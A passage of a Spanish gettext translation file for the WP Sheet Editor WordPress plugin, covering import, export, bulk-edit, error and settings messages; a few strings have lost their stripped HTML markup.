                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Aumentar la productividad" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "¿Usar la paginación en la hoja de cálculo?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y desactivar la lista infinita." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "¿Desactivar la carga automática de filas?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que " "puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar " "filas y cargarlas manualmente." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "¿Desactivar el modo de pantalla completa?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes " "la opción de salir del modo de pantalla completa. Habilita esta opción y no " "abriremos la hoja en pantalla completa." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "¿Cargar más filas al hacer scroll?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Cuando esta opción está habilitada, se cargarán más filas en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página. También " "puedes habilitar/deshabilitar en la hoja de cálculo." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "¿Congelar las columnas iniciales del lado izquierdo?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Ingresa un número y esas columnas se fijarán al hacer scroll " "horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y " "descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas." #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "¿Habilitar el guardado automático?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Habilita esto y la hoja de cálculo guardará los cambios hechos en las celdas " "cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se " "guardan prematuramente antes que termines de editar todas las columnas " "requeridas." #: wp-sheet-editor/dev/inc/options-init.php:116 msgid "Default sort order" msgstr "Orden por defecto" #: wp-sheet-editor/dev/inc/options-init.php:117 msgid "" "We'll sort the rows in the spreadsheet by this field. We recommend you sort " "based on fields that have values in all the rows in order to get more " "accurate results. For example, it's better to sort 1k products by Title ASC " "because you know that all the rows will be sorted accurately, but if you " "sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the " "500 rows without SKU could potentially have random order as we don't have " "any value to sort them accurately." msgstr "" "Ordenaremos las filas de la hoja de cálculo según este campo. Te " "recomendamos ordenar por campos que tengan valores en todas las filas para " "obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos " "por Título ASC porque sabes que todas las filas se ordenarán con precisión, " "pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán " "correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya " "que no tenemos ningún valor para ordenarlas con precisión." #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "Solution to weird errors" msgstr "Solución de errores raros" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Columns limit" msgstr "Límite de columnas" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Limitamos las columnas de la hoja de cálculo por razones de rendimiento para " "evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este " "límite si quieres visualizar más columnas. Predeterminado: 310" #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Separator for taxonomy terms cells" msgstr "Separador de celdas de términos de taxonomía" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Las columnas de taxonomía como las 